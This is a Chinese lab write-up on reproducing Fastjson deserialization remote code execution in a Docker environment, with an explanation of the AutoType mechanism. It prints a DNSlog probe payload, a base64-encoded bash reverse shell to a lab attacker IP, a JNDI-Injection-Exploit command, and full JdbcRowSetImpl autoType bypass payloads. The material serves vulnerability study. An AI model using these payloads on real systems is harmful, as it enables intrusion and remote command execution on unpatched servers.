Fastjson反序列化漏洞

Fastjson 漏洞复现

前言

遇到问题可以先看注意事项!!!

1.2.47-rce

漏洞编号:CVE-2017-18349

搭建环境

开启环境

shell 复制代码
# 开启环境
docker compose up -d
# 查看运行情况
docker ps

出现这种页面就搭建成功了

Fastjson 特征
报错回显

先把get包改为post,把Content-Type类型改成application/json,添加请求体。反回包里面会有报错信息(这个报错信息是可以被开发者屏蔽的)。

注:下面的包删除了多余的内容

http 复制代码
POST / HTTP/1.1
Host: 192.168.64.10:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Type: application/json
Content-Length: 11


{"test":"
DNSlog盲打

payload

java 复制代码
{"xxx":{"@type":"java.net.InetAddress","val":"5eb01a76.log.cdncache.rr.nu."}}

注意改请求方式和Content-Type类型。

漏洞利用

我这里采用的是JNDI-Injection-Exploit工具,直接生成的jndi注入的命令。如果想看手工注入可以参考这篇文章

反弹shell
shell 复制代码
# 10.201.65.180:9932为攻击机监听的端口
bash -i >& /dev/tcp/10.201.65.180/9932 0>&1

# base64编码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMDEuNjUuMTgwLzk5MzIgMD4mMQ==

# 完整的命令
 bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMDEuNjUuMTgwLzk5MzIgMD4mMQ==}|{base64,-d}|{bash,-i}
工具一把梭
shell 复制代码
# -c参数为靶机会执行的命令,-A为攻击机地址
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

# 具体命令
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C  " bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMDEuNjUuMTgwLzk5MzIgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "10.201.65.180"

红色部分的payload挨着尝试就行了。

完整payload
json 复制代码
{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://10.201.65.180:1389/xbc51m",
        "autoCommit":true
    }
}

效果:

bp返回的是500,但是已经成功反弹shell

1.2.47-rce

漏洞编号:CNVD‐2019‐22238

环境搭建和上面相同,直接开始漏洞利用。

差异

先用刚才的payload再打一遍,显示目标明确提示 autoType 被禁用,这条攻击链无法继续。

漏洞利用

目标环境是openjdk:8u102,这个版本没有com.sun.jndi.rmi.object.trustURLCodebase的限制,我们可以简单利用RMI进行命令执行。

还是直接利用上面工具生成的jndi注入payload。

完整payload

json 复制代码
{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://10.201.65.180:1389/xbc51m",
        "autoCommit":true
    }
}
效果

漏洞原理

json概述

JSON 是一种轻量级的数据交换格式,全称是 JavaScript Object Notation 。它使用**键值对(key-value)**的结构表示数据,易于人阅读和编写,也易于机器解析和生成

虽然起源于 JavaScript,但现在已经成为编程语言之间通信的通用格式,比如在前后端之间传输数据、配置文件、接口请求等场景中广泛使用。

josn示例:

json 复制代码
{
  "name": "Alice",
  "age": 25,
  "isStudent": false,
  "skills": ["Java", "Python", "C++"],
  "address": {
    "city": "Beijing",
    "zip": "100000"
  }
}
fastjosn概述

Fastjson 是由阿里巴巴开发的一个开源 Java 类库,广泛用于将 Java 对象转换为 JSON(序列化),以及将 JSON 字符串转换为 Java 对象(反序列化)。它支持操作任意 Java 对象,甚至包括一些没有源码的系统类或第三方类,这也成为其安全漏洞的根源之一。由于使用简单、性能优秀,Fastjson 在实际开发中应用非常广泛。

fastjson序列化

Fastjson 其本质是通过将 JSON 字符串与 Java 对象之间进行序列化与反序列化转换。在设计上,它没有使用 Java 原生的序列化机制,而是自定义了基于属性或方法的转换方式。为了在反序列化时准确还原对象的真实类型,Fastjson 引入了 AutoType 功能,即通过 JSON 中的 @type 字段,记录对象的具体类名,从而支持多态还原。

比如我们有如下两个类:

java 复制代码
class Dog implements Animal {
    private String name;
    private int age;
}

class Cat implements Animal {
    private String name;
    private int age;
}

假设使用的是基于接口 Animal 的序列化方式,如果我们将一个 Dog 对象和一个 Cat 对象分别序列化为 JSON,得到的可能都是:

json 复制代码
{"Animal":{"name":"Tom","age":2}}

由于父类/接口会"抹去"具体子类信息,导致反序列化时无法判断该对象到底是 Dog 还是 Cat。

为了解决这个问题,Fastjson 引入了 AutoType 机制,在序列化时加上 @type 字段,例如:

json 复制代码
{ 
  "animal": { 
    "@type": "com.example.model.Dog", 
    "name": "Tom", 
    "age": 2 
  } 
}
fastjson反序列化漏洞

然而,也正是 Fastjson 引入 AutoType 功能的设计,给攻击者提供了反序列化漏洞的利用入口。当用户反序列化不可信的 JSON 数据且没有禁用 AutoType 功能时,攻击者可以通过精心构造的 JSON 数据,利用 @type 字段指定恶意类,并触发该类的实例化过程。在实例化的过程中,Fastjson 会调用该类的 setter 或构造方法,这就可能导致恶意代码的执行。Fastjson 的漏洞本质上仍是典型的 Java 反序列化问题,危险性来源于类实例化和方法调用的开放性,以及不加限制的 AutoType 使用。

Fastjson 的 AutoType 功能通过在 JSON 字符串中加入 @type 字段来标记对象的真实类型。当 Fastjson 进行反序列化时,会读取这个 @type 字段并尝试将 JSON 数据转换为指定的 Java 对象,随后调用对象的 setter 或 getter 方法。然而,如果 @type 指定了恶意构造的类,那么反序列化过程中就可能触发安全漏洞。攻击者可以通过这种方式构造 JSON 数据,指定恶意类,进而实现远程代码执行或其他攻击行为。

注意事项

  1. 使用dnslog平台前先用靶机ping dns地址,测试网络连通性

  2. 测试fastjson漏洞,最外层一定是数组或者对象,不要加@type,然后将Payload作为其中一个键值。

java 复制代码
{"xxx": {"@type":"java.net.InetAddress","val":"dnslog"}}

原因是,有的开发在使用fastjson解析请求时会使用Spring的@RequestBody注释,告诉解析引擎,我需要的是一个User类对象(其实就可以理解为JSON中不加@type的普通对象)。

这时候你传入的是{"@type":"java.net.Inet4Address","val":"xxxxx"},相当于给到他的是java.net.Inet4Address对象,所以会爆出一个type not match的异常。 ![截屏2025-04-17 12.00.08](gitee.com/xiao-tang-s... 12.00.08.png)

  1. 如果靶机是本机,IP地址可能会变动。
相关推荐
SuperherRo11 天前
Web开发-JavaEE应用&依赖项&Log4j日志&Shiro验证&FastJson数据&XStream格式
java-ee·log4j·shiro·fastjson·xstream
SuperherRo24 天前
Web开发-JavaEE应用&原生和FastJson反序列化&URLDNS链&JDBC链&Gadget手搓
java·java-ee·jdbc·fastjson·反序列化·urldns
68岁扶墙肾透1 个月前
Java安全-FastJson反序列化分析
java·安全·web安全·网络安全·网络攻击模型·安全架构·fastjson
说书人-6 个月前
com.alibaba.fastjson.JSONException: not close json text, token : error
json·fastjson
脸红ฅฅ*的思春期6 个月前
Java安全—log4j日志&FastJson序列化&JNDI注入
java·安全·log4j·fastjson·jndi注入
人在码中跑_发在天上飞6 个月前
【工具类】理解 TypeUtils 类:深入解析 FastJSON 的类型转换工具
java·工具类·fastjson
M1A17 个月前
高性能 JSON 处理:为何选择 Fastjson?
json·fastjson
uhfun7 个月前
Fastjson json字符串怎样直接反序列化为对象
后端·fastjson
uccs7 个月前
Spring Boot 配置 FastJson
java·spring boot·fastjson